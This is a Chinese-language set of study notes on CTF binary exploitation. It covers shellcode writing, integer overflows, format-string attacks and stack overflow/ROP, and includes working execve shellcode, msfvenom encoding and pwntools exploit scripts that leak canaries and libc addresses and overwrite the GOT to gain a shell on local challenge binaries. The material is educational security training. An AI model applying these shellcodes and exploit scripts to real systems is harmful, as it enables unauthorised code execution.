CTF 竞赛权威指南-PWN-2

0x04 shellcode 开发

  Shellcode 可以分为本地和远程两种类型。本地 shellcode 通常用于提权,攻击者利用高权限程序中的漏洞(例如缓冲区溢出),获得与目标进程相同的权限。远程 shellcode 则用于攻击网络上的另一台机器,通过 TCP/IP 套接字为攻击者提供 shell 访问。

 根据连接的方式不同,shell 可分为反向 shell(由受害者机器上运行的 shellcode 建立与攻击者机器的连接)、绑定 shell(受害者机器上运行的 shellcode 绑定到端口,由攻击者发起连接)和套接字重用 shell(重用 exploit 所建立的连接,从而绕过防火墙)。

 有时,攻击者注入目标进程中的字节数是被限制的,因此可以将 shellcode 分段执行,由前一阶段比较简短的 shellcode 将后一阶段复杂的 shellcode 下载并执行。但有时攻击者并不能确定后一阶段的 shellcode 被加载到内存的哪个位置,因此就有 egg-hunt shellcode,这段代码会在内存中搜索,直到找到后一阶段的 shellcode(egg) 并执行。

 Shellcode 的载体如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// test.c
#include <stdio.h>
#include <string.h>

// in.asm
char shellcode[] = "\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80";

int main() {
printf("Shellcode length: %d bytes\n", strlen(shellcode));
char shellcode_stack[1000] = {0};
for(int i = 0; i < strlen(shellcode); i++) shellcode_stack[i] = shellcode[i];

(*(void(*)())shellcode_stack)();
return 0;
}
1
2
3
void (*)(),表示一个不接受任何参数,且返回值为 void 的函数指针
*(void(*)())s,其中s是一个字符串数组,即解引用函数指针,得到函数本身
(*(void(*)())s)(),将s作为一个函数并调用
1
gcc -m32 -z execstack test.c -o test

 可以在 link 上找到好多 shellcode,举几个例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
; linux 32 bit
; in.asm
global _start
section .text

_start:
; int execve(const char *filename, char *const argv[], char *const envp[])
xor ecx, ecx ; ecx = NULL
mul ecx ; eax = NULL
mov al, 11 ; execve syscall number
push ecx ; string NULL
push 0x68732f2f ; "//sh"
push 0x6e69622f ; "/bin"
mov ebx, esp ; pointer to "/bin/sh\0"
int 0x80 ; filename(EBX), argv[](ECX), envp[](EDX)

 可以使用 NASM 汇编代码进行编译,使用 ld 进行链接,运行后获得 shell。

1
2
3
nasm -f elf32 in.asm
ld -m elf_i386 in.o -o in.out
./in.out

 可以用 Objdump 提取 shell,命令为:

1
objdump -d ./in.out|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:| cut -f1-6 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s|sed 's/^/"/'|sed 's/$/"/g'

 64 位 linux 的 shellcode 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
global _start
section .text

_start:
; execve("/bin/sh", ["/bin/sh"], NULL)
xor rdx, rdx ; rdx=NULL
mov qword rbx, "//bin/sh"
shr rbx, 0x8
push rbx ; rdi = "/bin/sh"
mov rdi, rsp
push rax
push rdi
mov rsi, rsp ; rsi = ["/bin/sh"]
mov al, 0x3b ; syscall number
syscall

 有时被注入进程的 shellcode 会被限制使用某些字符,例如不能有 NULL、只能用字母和数字等,需要做特殊处理。例如,Null-free shellcode 不能包含 NULL,因为 NULL 会将字符串操作函数截断,这样注入的 shellcode 就只剩下 NULL 前面的那一段,可以用其他的指令替代 NULL,如下所示:

1
2
3
4
B8 01000000  MOV EAX, 1

33C0 XOR EAX, EAX
40 INC EAX

 对于只能使用可见字符的 shellcode,可以使用自修改代码的方法,将原始 shellcode 字符进行编码,相应的也有解码器,metasploit 的 alphanumeric 编码器可以完成此工作:

1
python -c 'import sys; sys.stdout.write("\x31\xc9\xf7\xe1\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xcd\x80")' | msfvenom -e x86/alpha_mixed -a linux -f raw -a x86 --platform linux BufferRegister=EAX

 Pwntools 可以简单的编写 exp 脚本,拥有本地执行、远程连接读写、shellcode 生成、构建 ROP 链等功能。Pwntools 分为两个模块,一个模块是 pwn,可将所有子模块和一些常用的系统库导入。而另一个模块是 pwnlib,常用于基于 Pwntools 的二次开发。Pwntools 的常用子模块如下:

  • pwnlib.tubes。与 sockets、processes、ssh 进行连接。举一个 listen 开启本地监听端口,然后使用 remote 开启套接字管道与其交互的例子:

image-20240510193428328

  • pwnlib.elf。展示获得 ELF 文件装载的基地址、符号地址、GOT 地址与 PLT 地址,并且加载 libc,并得到 system 函数的地址。

image-20240511193217902

 也可以修改 ELF 的代码:

image-20240511193536301

 也可以处理一些核心转储文件:

image-20240511195226484

  • pwnlib.asm。用于汇编与反汇编代码。

image-20240511200532240

 构建具有指定二进制数据的ELF文件,并使用模板生成 shellcode,通过 make_elf 得到 ELF 文件。make_elf_from_assembly 允许构建具有指定汇编代码的 ELF 文件,与 make_elf 不同的是其直接从汇编生成 ELF 文件,并且保留了所有的符号。

image-20240511201811825

  • pwnlib.gdb。使用 gdb.attach 可以 attach 到指定进程或 pwnlib.tubes 对象。

image-20240511205519810

  • pwnlib.dynelf。用于应对无 libc 的漏洞利用。首先找到 libc 的基地址,然后使用符号表和字符串表对所有符号进行解析,直到找到我们需要的函数的符号。
  • pwnlib.rop。ROP 链(Return-Oriented Programming chain)是一种利用已有的程序代码来执行恶意操作的方法。

image-20240511233626061

 其中填充(padding)的作用是调整栈指针(rsp)以确保返回地址和参数正确对齐。

 Zio 可以在 stdin/stdout 与 TCP socket io 之间提供统一的接口,当本地开发完 exploit 后,可以很方便的将目标切换到远程服务器,pwntools 也可以完成这些工作。

0x05 整数安全

 如果一个整数用来计算一些敏感数值,如缓冲区大小或数值索引,就会产生危险。关于整数的异常情况主要有 3 种:

1
2
3
(1)溢出,只有有符号数才会发生溢出。有符号数的最高位表示符号,在两正或两负相加时,有可能改变符号位的值,产生溢出,溢出标志 OF 可检测有符号数的溢出。
(2)回绕,无符号数 0-1 时会变成最大的数,如 1 字节的无符号数会变为 255,而 255+1 会变成最小数 0。进位标志 CF 可检测无符号数的回绕。
(3)截断,将一个较大宽度的数存入一个宽度小的操作数中,高位发生截断。

 整数溢出要配合其它的漏洞才可以被利用,例如 memcpy/strncpy 很容易通过整数溢出导致缓冲区溢出。例如下面的例子,int len 是有符号的,memcpy 的第 3 个参数是无符号的,因此如果给 len 一个负数,那就寄了。

image-20240518183434092

 再看一个回绕和溢出的例子。但是如果 len 过大,len+5 是有可能发生回绕的。比如,如果 len=0xFFFFFFFF,则 len+5=0x00000004,如果这时 malloc 只分配了 4 字节内存,然后在里面写入大量数据,就发生了缓冲区溢出。

image-20240518183833120

 一个真正的整数溢出漏洞,strlen 返回 size_t,但是接收为 unsigned char,当长度大于 255 时,就会发生截断:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
#include <stdio.h>
#include <string.h>

void validate_passwd(char *passwd) {
char passwd_buf[11];
unsigned char passwd_len = strlen(passwd);
if (passwd_len >= 4 && passwd_len <= 8) {
printf("good\n");
strcpy(passwd_buf, passwd);
} else {
printf("bad\n");
}
}

int main(int argc, char *argv[]) {
validate_passwd(argv[1]);
}

 发现返回地址相对于缓冲区为 20:

image-20240518190254050

image-20240518190323136

 因此可以构建 payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

ret_addr = 0x7fffffffe308 + 0x20
context.arch = 'amd64'
shellcode = shellcraft.sh()

payload = b'A' * 20
payload += p64(ret_addr)
payload += b'\x90' * 20
payload += asm(shellcode)

append = 261 - len(payload)
payload += b'C' * append
p = process('./a.out')
p.send(payload)
p.interactive()

 上述脚本是得不到正确的 shell 的,经过调研,这是因为返回地址为 (\xe3\xff\xff\xff\x7f\x00\x00,其中必有 \x00 字节,因此会导致 strlen 失败。

0x06 格式化字符串

 变参函数是参数数量可变的函数,例如 printf。变参函数要获取可选参数时,必须通过一个 va_list(argument pointer)的对象,它包含了栈中参数的位置。格式化字符串是格式化输出函数中用于指定输出参数的格式与相对位置的字符串参数。有如下格式化输出函数:

1
2
3
4
5
6
fprintf:按照格式字符串将输出到流中。参数分别为流、格式字符串与变参列表。
printf:等同于 fprintf,但是它的输出为 stdout。
sprintf:等同于 fprintf,但是它的输出不是流而是数组。
snprintf:等同于 sprintf,但是它指定了可写入字符的最大值 size。
dprintf:等同于 fprintf,但是它的输出不是流而是文件。
vfprintf、vprintf、vsprintf、vsnprintf、vdprintf:与上面的函数对应,但是它们将变参列表换成了 va_list 类型的参数。

 转换规则:type 表示转换类型。parameter 用于指定某个参数,例如 %2$d,表示输出后面的第 2 个参数。flag 调整输出和打印的符号、空白、小数点等。width 指定输出字符的最小个数。precision 指示打印符号个数、小数位数或者有效数字个数。length 指定参数的大小。

1
%[parameter][flags][width][.precision][length]type

 几个特殊的语句:

image-20240518225401190

 FORTIFY SOURCE 让格式化字符串漏洞的利用更加困难。举例一个格式化漏洞的例子:

1
2
3
void main() {
printf("%s %d %s %x %x %x %3$s", "hello", 233, "\n");
}

image-20240518233323636

 格式化字符串漏洞使用后的结果:使程序崩溃、栈数据泄露、任意地址内存泄露、栈数据覆盖、任意地址内存覆盖。

  • 使程序崩溃。通常使用 %s%s%s%s%s%s%s%s%s%s%s%s%s%s%s%s即可触发崩溃。原因为:(1)对于每一个 %s,都要从栈中获取一个数字,将其视为一个地址,然后打印出地址指向的内存,直到出现一个空字符。(2)获取的某个数字可能并不是一个地址,或者是受保护的地址。
  • 栈数据泄露。使程序崩溃只是验证漏洞的第一步,还可以利用格式化函数获得内存数据,比如返回地址:

image-20240518235129579

 可以通过指定 n,从而直接使用%n$p来输出格式字符串之后的第 n 个数据。

  • 任意地址内存泄露。使用%4$s来输出格式字符串之后的第 4 个数据所指向的地址。也可以输出任意地址的数据。假设有程序:
1
2
3
4
5
6
7
8
9
#include <stdio.h>
void main() {
char format[128];
int arg1 = 1, arg2 = 0x88888888, arg3 = -1;
char arg4[10] = "ABCD";
scanf("%s", format);
printf(format, arg1, arg2, arg3, arg4);
printf("\n");
}
1
2
echo 0 > /proc/sys/kernel/randomize_va_space
gcc -m32 -fno-stack-protector -no-pie main.c -o a.out

 若 format 为 AAAA.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p,那么输出:

image-20240519115750735

image-20240519120038325

 我们若想读取字符串 ABCD,则首先查看其地址为 0xffffd4ba,然后:

1
2
3
4
5
6
shellcode = b"\xba\xd4\xff\xff.%13$s"

with open("shellcode.bin", "wb") as f:
f.write(shellcode)

print("Shellcode written to shellcode.bin")

image-20240519122642718

 也可以把某函数的 GOT 地址传进去,从而获得所对应函数的虚拟地址。然后根据函数在 libc 中的相对位置,就可以计算出任意函数地址,例如 system。

image-20240519123029450

image-20240519124023770

  • 栈数据覆盖。格式化字符串漏洞可以通过修改栈和内存来劫持程序的执行流。例如:

image-20240519124627997

 如果要把 arg2 覆盖为 0x20,那么首先查看到 arg2 的地址为:0xffffd498。那么 shellcode=b”\x98\xd4\xff\xff%28d%13$n”,意思就是将 0xffffd498 改为 0x20(4字节地址+28字节整数)。

image-20240519125952777

image-20240519130017434

  • 任意地址内存覆盖。上面的方法所能覆盖的最小值只能是 4,因为地址就占了 4 字节。可以使用格式字符串:"AA%15$nA"+"\x98\xd4\xff\xff",其意思是,开头的 AA 占 2 个字节,即将地址赋值为 2,%15$n 占5个字节(这里不是%13$n,因为地址被放在了后面,偏移了 8 个字节),是第 15 个参数,后面跟上一个A占用 1 个字节。于是前半部分总共占用 2+5+1=8 个字节,刚好是两个参数的宽度,8 字节对齐十分重要。最后,输入我们要覆盖的地址。

image-20240519132301831

 而对于要覆盖的数字很大的情况下,之前说的是前面要输出等量的字符,这样往往会覆盖掉其它重要的地址而出错。我们可以逐字节覆盖,这样的话字符量就少了很多。如下所示:

image-20240519132638093

 例如尝试逐字节写入 0x12345678 到 0xffffd498,可以这样构造(关闭 ASLR,保证栈在 gdb 环境与直接运行中保持一致,虽然地址不同;gdb 环境中的栈地址和直接运行是不一样的,所以需要结合格式化字符串漏洞读取内存,可以先泄露一个地址,再根据该地址计算实际地址):

1
b"\x98\xd4\xff\xff" + b"\x99\xd4\xff\xff" + b"\x9a\xd4\xff\xff" + b"\x9b\xd4\xff\xff" + b"%104c%13$hhn" + b"%222c%14$hhn" + b"%222c%15$hhn" + b"%222c%16$hhn"

 其中,前四个部分是 4 个写入地址,占 16 字节,后面四个部分分别用于写入十六进制数,由于使用了 hh,所以只会保留一个字节:0x78(16+104=120->0x78)0x56(120+222=342->0x0156->0x56)0x34(342+222=564>0x0234->0x34)0x12(564+222=786->0x312->0x12)。而在 linux 64 位中,由于参数由寄存器传递,因此格式化字符串覆盖栈的攻击方式无用。

 pwntools 中有专门的 fmtstr 模块,用于格式化字符串的利用。举个例子(不开 ASLR 与 PIE):

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>

void main() {
char str[1024];
while(1) {
memset(str, '\0', 1024);
read(0, str, 1024);
printf(str);
fflush(stdout);
}
}
// echo 0 > /proc/sys/kernel/randomize_va_space
// gcc -m32 -fno-stack-protector -no-pie 2.c -o a.out -g

 存在格式化字符串漏洞,思路是将 printf 函数的地址改成 system 函数的地址,当再次输入 /bin/sh 时,就可以获得 shell。

image-20240519145717935

image-20240519145953049

 可以构造以下 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

elf = ELF('./a.out')
io = process('./a.out')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# construct fmt exp code
def exec_fmt(payload):
io.sendline(payload)
info = io.recv()
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
# offset is 4

# get printf virtual address
printf_got = elf.got['printf']
payload = p32(printf_got) + b'%4$s'
io.send(payload)

# get system virtual address
print(io.recv())
printf_addr = u32(io.recv()[4:8])
system_addr = priintf_addr - (libc.symbols['printf'] - libc.symbols['system'])
log.info("system_addr => %s" % hex(system_addr))

# change printf got
payload = fmtstr_payload(offset, {printf_got:system_addr})
io.send(payload)

io.send('/bin/sh')
io.recv()
io.interactive()

 其中 pwntools 中 FmtStr 与 fmtstr_payload 的使用如下:

image-20240519153316679

例题1:HITCON CMT 2017 pwn200

 此题为 32 位,且开启 partial RELRO、canary 与 NX,其源码为:

image-20240519153511283

1
gcc -m32 -z lazy -z -fstack-protector -z exestack -no-pie -fno-pie 3.c -o a.out -g

 其中 gets 有缓冲区溢出漏洞,printf 有格式化字符串漏洞。思路:格式化字符串泄露 Canary 值,并在栈溢出时填充上去,从而覆盖返回地址,跳转到 canary_protect_me 函数获得 shell

Step1:为了泄露 Canary 的值,需要先知道它保存在栈的哪个位置。在 main 函数开头下断,可以发现:

image-20240519160249561

 在 main+27 与 printf 下断,发现 canary 值为 0xf708d000,且偏移为 15 的位置。因此可以使用格式字符串 %15$x 来泄露 canary 的值。

image-20240519161418374

Step2:而第二个 get 与 canary 之间的距离为 0x28,与返回地址之间的距离为 0x48(图中有误),并且要注意 0xffffd554 处(用偏移 %17$x)的值,这个值不能发生改变。

image-20240519171519306

Step3:可以写 exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *

io = process('./a.out')
io.sendline(b"%15$x%17$x")
rec = io.recv()
canary = int(rec[:8], 16)
hit = int(rec[8:], 16)
log.info("canary 0x%x | hit 0x%x" % (canary, hit))

binsh_addr = 0x08049216
payload = b"A"*0x28 + p32(canary) + b"A"*4 + p32(hit) + b"A"*0x14 + p32(binsh_addr)
io.sendline(payload)
io.interactive()

例题2:NJCTF2017:pingme

 32 位,只开了堆栈不可执行。但是当时的题目没给二进制文件(没有给 pingme 文件),只暴露了端口。

image-20240519190659510

Step1:启动题目环境(IP:127.0.0.1 PORT:10001)。

1
socat tcp4-listen:10001,reuseaddr,fork exec:./pingme &

 启动一个监听在 TCP 端口 10001 上的服务器,每当有新的连接进来时,它会 fork 一个新进程并执行 ./pingme 程序来处理该连接。socat 工具在这里充当了一个简单的网络服务器和进程管理器。reuseaddr 选项确保可以立即重新启动监听器,fork 选项确保可以处理多个并发连接,exec 选项确保每个连接都会启动 pingme 程序来处理。

Step2:测试是否有格式化字符串的洞。可以使用 FmtStr:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
io = remote("127.0.0.1", 10001)
def exec_fmt(payload):
info = io.recvuntil(b'\n')
io.sendline(payload)
if b"END" not in info:
info += b"END"
if b"START" not in info:
info = b"START" + info
print(f"recv {info}\n\nsend {payload}")
return info
auto = FmtStr(exec_fmt)
offset = auto.offset
print(offset)
# 可以发现偏移为 7

Step3:使用此漏洞可以 dump 出 bin 文件(其中 start_addr 也可以由格式化字符串漏洞探测得到,32 位 ELF 开头 4 个字节为 b’\x7fELF’):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *

def get_start_addr():
range_min = 0x80000000
range_max = 0x90000000
i = 0
feature_code = b'\x7fELF\x01\x01\x01'
while range_min + i < range_max:
io = remote('127.0.0.1', '10001')
io.recvuntil(b'Ping me\n')

payload = p32(range_min + i) + b"AAA.%7$s.AAA"
io.sendline(payload)
data = io.recvuntil(b".AAA")[8:-4]
if data == feature_code:
print(f"success: {data} {range_min+i}")
else:
print(f"fail: {data} {range_min+i}")
i += 4
io.close()
return range_min+i

get_start_addr()

 试了试上述程序,只会返回:(,调研后发现,地址在前面的话,会导致第一个字节为 \x00,从而导致 strlen 返回为 0,因此,地址应该放到后面。测试后发现,不仅仅使用AAAA%7$x可以,使用%9$xAAAABBBB也可以:

image-20240519215705580

 因此,修改上述的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
from pwn import *

def get_start_addr():
range_min = 0x8000000
range_max = 0x9000000
i = 0
feature_code = b'\x7fELF\x01\x01\x01'
while range_min + i < range_max:
io = remote('127.0.0.1', '10001')
io.recvuntil(b'Ping me\n')

payload = b"%9$s.AAA" + p32(range_min + i)
io.sendline(payload)
data = io.recvuntil(b".AAA")[:-4]
if data == feature_code:
print(f"success: {feature_code} {range_min+i}")
else:
print(f"fail: {feature_code} {range_min+i}")
i += 4
io.close()
return range_min+i

get_start_addr()
# success: b'\x7fELF\x01\x01\x01' 134512640 => 0x8048000
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
from pwn import *

start_addr = 0x8048000
dump_len = 0x1000

def dump_mem(start_addr, dump_len):
result = b""
i = 0
while i < dump_len:
io = remote('127.0.0.1', '10001')
io.recvuntil(b'Ping me\n')

payload = b"%9$s.AAA" + p32(start_addr + i)
io.sendline(payload)
data = io.recvuntil(b".AAA")[:-4]
if data == b"":
data = b"\x00"
result += data
i += len(data)
io.close()
return result

code = dump_mem(start_addr, dump_len)
with open("code.bin", "wb") as f:
f.write(code)

 最终得到的 code.bin 与真实的仍有差别,不知道什么情况:

image-20240519230232117

Step4:该题目前成为了有二进制文件(code.bin)而无 libc 的题。首先拿到 printf 的 GOT 地址:

image-20240522203446321

 之后考虑泄露 printf 的内存地址,这里根据是否可以拿到 libc.so 分为两种情况:

  • 能拿到 libc.so(能访问到 libc.so):
1
2
3
4
5
6
7
8
9
10
11
12
13
from pwn import *
printf_got = 0x08049974

def get_printf_addr():
io = remote('127.0.0.1', '10001')
io.recvuntil(b'Ping me\n')
payload = b"%9$s.AAA" + p32(printf_got)
io.sendline(payload)
data = u32(io.recvuntil(b".AAA")[:4])
log.info("printf address: 0x%x" % data)
return data
get_printf_addr()
# b'\xb0b\xe1\xf7\x80\x1d\xe3\xf7\xf0\xf0\xe8\xf7@<\xe3\xf7pV\xe6\xf7\x10F\xe5\xf7\xe0\r\xde\xf7v\x84\x04\x08'
  • 不能拿到 libc.so 的时候,可以使用 DynELF 模块,其原理是:利用程序的任意读取原语,通过解析程序中的动态链接器数据结构(如 GOT、PLT、.dynamic 段等),自动化地查找和泄露函数地址。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
from pwn import *

def leak(addr):
io = remote('127.0.0.1', '10001')
io.recvuntil(b'Ping me\n')
try:
payload = b"%9$s.AAA" + p32(addr)
io.sendline(payload)
data = io.recvuntil(b".AAA")[:-4] + b'\x00'
except EOFError:
data = b'\x00'
return data

# 0x08048490 是入口地址
data = DynELF(leak, 0x08048490)
# 'system' 为要查找的符号名,'libc' 是动态库的名称
system_addr = data.lookup('system', 'libc')

Step5:利用格式化字符串的任意写将 printf@got 地址的内存覆盖为 system 的地址然后发送字符串 “/bin/sh”,即可在调用 printf(“/bin/sh”) 的时候实际上调用 system(“/bin/sh”)。使用 fmtstr_payload 函数可以构造 payload,举个例子:

1
payload = fmtstr_payload(7, {printf_got: system_addr})

image-20240522214441689

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import *
io = remote('127.0.0.1', '10001')

printf_got = 0x08049974

def method_1(io):
libc = ELF("/lib/i386-linux-gnu/libc.so.6")
global system_addr

def get_printf_addr():
io.recvline()
payload = b"%9$s.AAA" + p32(printf_got)
io.sendline(payload)
data = u32(io.recvuntil(b".AAA")[:4])
log.info("printf addr: 0x%x" % data)
return data

printf_addr = get_printf_addr()
system_addr = printf_addr - (libc.sym['printf'] - libc.sym['system'])
log.info("system addr: 0x%x" % system_addr)

def method_2(io):
global system_addr

def leak(addr):
io.recvline()
payload = b"%9$s.AAA" + p32(addr)
io.sendline(payload)
data = io.recvuntil(b".AAA")[:-4] + b"\x00"
log.info("leak: %s" % data)
return data

data = DynELF(leak, 0x08048490)
system_addr = data.lookup("system", "libc")
printf_addr = data.lookup("printf", "libc")
log.info("system addr: 0x%x" % system_addr)
log.info("printf addr: 0x%x" % printf_addr)

def pwn():
# leak system_addr
method_1(io)
# method_2(io)

payload = fmtstr_payload(7, {printf_got: system_addr})
io.recvline()
# change printf_addr to system_addr
io.sendline(payload)
io.recv()
io.sendline('/bin/sh')
io.interactive()

if __name__ == "__main__":
pwn()

0x07 栈溢出与 ROP

 根据溢出发生的内存位置,通常可以分为栈溢出和堆溢出。其中,由于栈上保存着局部变量和一些状态信息(寄存器值、返回地址等),一旦溢出,攻击者就可以通过覆写返回地址来执行任意代码,利用方法包括 shellcode 注入、ret2libc、ROP 等。

 函数调用栈是一块连续的用来保存函数运行状态的内存区域,调用函数和被调用函数根据调用关系堆叠起来,从内存的高地址向低地址增长。对 x86 与 x86-64 的调用栈举例:

image-20240522231811645

image-20240522231918244

 首先看 x86 的调用栈:

image-20240522232551665

 再看 x64 的调用栈:

image-20240524205727195

 没有 sub rsp, xxx 的原因是 rsp 以下 128 字节的区域为 red zone,不会被信号或者中断所修改,于是直接可以用这段内存保存数据。使用 -fomit-frame-pointer 可以省略 rbp,从而减少指令数量。

 大多数缓冲区溢出问题与危险函数相关,包括 scanf、gets等输入函数。使用的时候,比如限制输入长度为10,那么应该:

1
scanf("%9s", buf);

 其它的危险函数包括 strcpy、strcat、sprintf 等字符串拷贝函数,可能造成溢出,可以使用 strncpy、strncat、snprintf 等来代替,这些函数都有 size 参数用于限制长度。

 两种栈溢出的利用方式:shellcode 注入与 ret2libc 两种方式。

  • shellcode 注入。没有 NX 的时候,可以将 shellcode 写到栈上。padding1 使用任意数据即可,一直覆盖到调用者的 ebp,然后在返回地址处填充上 shellcode 的地址,当函数返回时,就会跳到 shellcode 的位置。如果开启了 ASLR,使 shellcode 的地址不确定,那么可以使用 NOP 作为 padding2。

image-20240524211745884

  • ret2libc。开启 NX 后,就需要使用 ret2libc 来调用 libc.so 中的 system(“/bin/sh”)。返回地址覆盖上 system 函数的地址,padding2 为其添加一个伪造的返回地址,长度为 4 字节。紧接着放上 “bin/sh” 字符串的地址。如果开启了 ASLR,那么 system 和 “/bin/sh” 的地址就变成随机的,此时需要先做内存泄露,再填充真实地址。

image-20240524212119929

返回导向编程 ROP

 最开始,栈溢出的利用方式:将返回地址覆盖为 jmp esp 指令的地址(esp 此时为 shellcode 的地址),并在后面添加 shellcode 就可以执行。引入 NX 后,shellcode 注入不可行,于是用 ret2libc。ret2libc 的缺陷为:攻击者一个接一个地调用 libc 中的函数,但执行流是线性的,不像 shellcode 注入那样任意执行,其次,攻击者只能使用程序 text 段和 libc 中已有的函数,通过移除特定的函数就可以限制此类攻击。

 于是就有了 ROP。扫描文件,提取出可用的 gadget (通常以 ret 指令结尾),然后将这些 gadget 根据所需要的功能进行组合,达到攻击者的目的。以 exit(0) 为例:

image-20240524220002838

 要实现 exit(0) 的效果,就要找到很多符合条件的 gadget,组成链:

image-20240524220323646

 需要找到这些以 ret 结尾,且在执行时必然以 ret 结束而不会跳到其他地方的 gadget,相应算法为:

1
2
3
4
扫描文件找到 ret(0xc3),将其作为根节点,然后回溯解析前面的指令,如果是有效指令,将其添加为子节点,再判断是否 boring,如果不是,就继续递归回溯。例如,若 pop %eax 的节点是 ret 的根节点的子节点,则 gadget 为 pop %eax; ret。boring 指令则分为三种:
(1)该指令是 leave,后面是 ret
(2)该指令是 pop %ebp,后跟 ret
(3)该指令是返回或者非条件跳转

 Gadget 的用法举例:

1
2
3
4
5
6
(1)保存栈数据到寄存器,弹出栈顶数据到寄存器中,然后跳转到新的栈顶地址。例如 pop eax; ret;
(2)保存内存数据到寄存器。例如 mov ecx, [eax]; ret;
(3)保存寄存器数据到内存。例如 mov [eax], ecx; ret;
(4)算数和逻辑运算,例如 add、sub、mul、xor 等。例如:add eax, ebx; ret; xor edx, edx; ret;
(5)系统调用,执行内核中断。例如 int 0x80; ret; call gs:[0x10]; ret;
(6)影响栈帧的 gadget。gadget 会改变 ebp 的值,从而影响栈帧,在一些操作如 stack pivot(栈转移)时需要这样的指令来转移栈帧。例如 leave; ret; pop ebp; ret;

 正常程序的指令流执行和 ROP 的指令流有很大不同,主要有两点:

1
2
1. ROP 执行流包含很多 ret 指令
2. ROP 利用 ret 来改变执行流,而不是使用正常的函数调用和返回

 检测 ROP 程序的方法:

1
2
3
4
5
6
1. 程序执行中是否有频繁 ret 的指令
2. 可以通过 call 和 ret 的配对情况来判断异常
3. 维护影子栈(shadow stack)作为正常栈的备份,每次 ret 的时候就与正常栈对比一下
4. 直接在编译器层面重写二进制文件,消除 ret 指令

注:堆栈展开(unwind stack)是指通过 ret 从堆栈中弹出返回地址,并将程序执行流跳转到该地址

 这些防御技术的前提是:ROP 中必定存在 ret。因此,就诞生了不依赖于 ret 指令的 ROP 变种。原始 ROP 技术中,ret 指令的作用主要有 2 个:通过间接跳转改变执行流,另一个是更新寄存器状态

 x86 和 ARM 中的某些指令序列(update-load-branch)也能完成 ret 指令的作用,其逻辑为:更新全局状态(如栈指针),之后根据更新后的状态加载下一条指令的地址,并跳转过去执行,例如 pop eax; jmp eaxjmp [esp]call xxx。update-load-branch 可以当作跳板(trampoline)使用。使用 update-load-branch 的 ROP 链如下所示(就是将 ret 的功能都让 trampoline 做了):

image-20240525231146642

 大多数这样的 gadget 都使用 jmp,称为 JOP(Jump-Oriented Programming),例如 pop %eax; jmp *%eax,其与 ret 很相似,只是将 eip 改为了 eax。还有双重间接跳转,例如pop %eax; jmp *(%eax)。此时,eax 存放 sequence catalog 表的地址,该表用于存放各种指令序列的地址(类似于 GOT 表)。双间接跳转先从上一段指令序列跳到 catalog 表,然后从 catalog 表跳到下一段指令序列。这使得 ROP 链的构造更加便捷,可以根据偏移来实现跳转。如下所示:

image-20240525233252016

ROP 的简单例子

 ROP 的 payload 由触发栈溢出的 padding 、多个 gadget 与参数组成(参数常用于 pop 指令,来设置寄存器的值)。内存布局如下所示:

image-20240525233738067

Step1:书中是 libc-2.23,环境中是 libc-2.31,因此需要编译新的 glibc:

 下载并安装编译旧版本 glibc 的工具 binutils-2.25:

1
2
3
4
5
6
wget http://ftp.gnu.org/gnu/binutils/binutils-2.25.tar.gz
tar -xzf binutils-2.25.tar.gz
cd binutils-2.25
./configure --prefix=/opt/binutils-2.25
make -j4
sudo make install

 切换为使用旧版本的 binuntils 编译 glibc(如果要切换回来,把这两个路径改了就行):

1
2
export PATH=/opt/binutils-2.30/bin:$PATH
export LD_LIBRARY_PATH=/opt/binutils-2.30/lib:$LD_LIBRARY_PATH

 安装并切换到 gcc-7:

1
2
3
4
5
6
7
# 添加 gcc-7 版本
sudo apt-get install gcc-7 g++-7
sudo update-alternatives --install /usr/bin/gcc gcc /usr/bin/gcc-7 70
sudo update-alternatives --install /usr/bin/g++ g++ /usr/bin/g++-7 70
# 使用此命令切换版本
sudo update-alternatives --config gcc
sudo update-alternatives --config g++

 编译 glibc-2.23:

1
2
3
4
5
6
7
8
9
wget http://ftp.gnu.org/gnu/glibc/glibc-2.23.tar.gz
tar -zxvf glibc-2.23.tar.gz
cd glibc-2.23

mkdir build && cd build
export CFLAGS="-O2 -Wno-error"
export CXXFLAGS="-O2 -Wno-error"
../configure --prefix=/usr/local/glibc-2.23 --enable-debug=yes
make -j4 && sudo make install

 一直出错,我真是操了。之后打算安装 ubuntu16 的 docker,来使用 glibc2.23。首先创建 Dockerfile:

1
2
3
4
5
6
FROM ubuntu:16.04

RUN apt-get update && \
apt-get install -y build-essential wget

CMD ["/bin/bash"]

 之后创建 docker 镜像 docker build -t ubuntu16.04-glibc2.23 .,并运行 docker 容器 docker run -it ubuntu16.04-glibc2.23 /bin/bash。使用 exit 可以离开容器。

Step2:给一个示例代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#include <stdio.h>
#include <unistd.h> // 对底层操作系统服务的访问,包括文件操作、进程管理、系统控制等
